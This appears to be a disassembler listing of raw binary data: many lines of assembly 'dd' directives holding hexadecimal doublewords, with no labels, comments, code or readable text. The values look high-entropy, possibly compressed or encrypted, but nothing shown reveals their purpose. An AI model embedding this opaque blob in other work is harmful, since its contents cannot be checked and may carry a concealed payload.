dd 0FA410A86h, 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h
dd 0BA3F0033h, 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h
dd 7DA91A7Ch, 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h
dd 5BB9827Eh, 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh
dd 5700D102h, 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h
dd 0BA008F01h, 94157C57h, 17780A87h, 0F2009077h, 1252988Eh
dd 9C2C39h, 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh
dd 0FD820375h, 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h
dd 0C7720075h, 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh
dd 0AE4F0793h, 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h
dd 52450F1Bh, 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h
dd 0FF2E102Dh, 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh
dd 407F7700h, 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h
dd 0AF640345h, 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h
dd 0B2F63Ah, 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h
dd 8300F818h, 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h
dd 0F8347B59h, 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h
dd 3BC5600Eh, 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h
dd 65F27Eh, 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch
dd 6E30F9B0h, 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h
dd 806477h, 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h
dd 0C82CB5h, 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h
dd 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h
dd 6F9B014Ah, 57B42C33h, 6B72D813h, 61A20900h, 74797D92h
dd 9F833E49h, 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh
dd 19200029h, 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h
dd 0D0E4ACh, 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h
dd 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh
dd 0B864CBE3h, 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h
dd 0B70F4540h, 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch
dd 99D7841Dh, 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h
dd 0DB849B0Fh, 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch
dd 0C0A7B245h, 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h
dd 2A88FC95h, 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h
dd 8FEED912h, 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh
dd 0FB3D421h, 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh
dd 79FF3600h, 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h
dd 2201B964h, 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh
dd 757BFE3Bh, 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h
dd 94F7FA3h, 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h
dd 57D874D3h, 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h
dd 3B534108h, 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h
dd 0E0DEC312h, 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh
dd 42409723h, 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h
dd 805703D5h, 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h
dd 1398C44Ch, 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h
dd 0CAD95200h, 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h
dd 0F601AF27h, 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h
dd 0C01BD890h, 38840800h, 2761012h, 56E90009h, 33557EA5h
dd 6E1C8B78h, 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h
dd 0F500E9BAh, 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h
dd 0FD007F63h, 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h
dd 8CB8E88Ah, 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh
dd 24A7FA5Ah, 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h
dd 0E52DF454h, 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h
dd 65DF7201h, 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h
dd 7322E2E6h, 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h
dd 0F202131Eh, 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h
dd 7A5699F1h, 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h
dd 0CC8F85F9h, 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h
dd 0BEF93C48h, 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h
dd 7D8324C0h, 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h
dd 99C62B5Bh, 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h
dd 3D81D140h, 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h
dd 8345A0EAh, 0B4B80A62h, 81AE1Eh, 6461C8BCh, 0DC009877h
dd 0CDC003EDh, 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h
dd 30AA0044h, 8D985EE6h, 18890235h, 5808050Bh, 810972C0h
dd 0DB033Fh, 8F8B9B1Ch, 4BC32Bh, 2A299671h, 621A40FFh
dd 50845500h, 0D009A40Ch, 4CE208h, 2F58E830h, 71B64F69h
dd 0CAB03C00h, 20C463E9h, 94BC2441h, 0F61E3Ah, 8B28BB3Ah
dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h
dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh, 0EA52BA68h
dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h
dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h, 89560009h
dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h
dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh, 850F240Bh
dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah
dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch
dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh
dd 8E00D509h, 14550E9h, 0FA1833FDh, 25F822h, 367B8D05h
dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h
dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h, 57038171h
dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh, 0CEE4B898h
dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h, 97D45942h
dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h
dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h
dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h
dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh
dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh, 0B7C4A28Ch
dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h, 4D4BFCB8h
dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah
dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh, 4C00210Eh
dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh
dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h
dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh
dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h
dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh
dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h
dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h
dd 0B6B2BE1Ch, 6D90B56Eh
dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch
dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h
dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h
dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh
dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h
dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h
dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh
dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh
dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h
dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h
dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h
dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh
dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh
dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh
dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h
dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh
dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh
dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh
dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh
dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h
dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h
dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h
dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h
dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h
dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh
dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h
dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
dd 1100B26h, 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh
dd 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh
dd 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h, 0BEE85C10h
dd 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h, 0EB00883Ch
dd 5C61976h, 2601E7A0h, 0FA96DE5h, 4321DFA4h, 0D15B20A8h
dd 0E152D1ACh, 4249E0B0h, 0E65B800h, 391048BCh, 0CC00059h
dd 0C4908529h, 156719C8h, 54F02006h, 722CCh, 3209D081h
dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h
dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h, 0D27E9564h
dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh
dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h, 5C1A0102h
dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h
dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h
dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h
dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h, 80FD0001h
dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h, 40C683D1h
dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh, 580203F5h
dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah
dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h, 8833022Bh
dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h
dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h, 1D2A38D2h
dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h
dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh
dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h, 0DDEBBD51h
dd 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh, 64DFCEE9h
dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh
dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h
dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h
dd 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh, 31C56800h
dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh
dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah
dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h
dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah, 2224CA1Dh
dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h
dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch
dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h, 0D34E7909h
dd 8064523Fh, 2BD01884h
dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh
dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h
dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h
dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h
dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h
dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah
dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh
dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh
dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h
dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh
dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah
dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch
dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h
dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h
dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh
dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh
dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h
dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h
dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h
dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh
dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
dd 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h
dd 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh
dd 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h, 0E2F4297Eh
dd 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h, 1B002910h
dd 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h, 515EB5E0h
dd 30E1F43Ah, 3E1378D4h, 0A8BC0020h, 0DA9057A2h, 8504DC36h
dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h
dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h
dd 3D83438Ch, 0C9FEA2h, 0ECC28EF4h, 0DBF12124h, 3A14538h
dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h
dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh
dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h
dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h
dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh
dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h
dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h
dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h
dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h
dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h
dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh
dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h
dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h
dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch
dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h
dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh
dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h, 182B376Ch
dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h, 7998B900h
dd 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h, 7E0CBF1Dh
dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h
dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h
dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh
dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh
dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh
dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h
dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh
dd 0FEEC71Dh
dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h
dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h
dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh
dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h
dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h
dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h
dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h
dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h
dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh
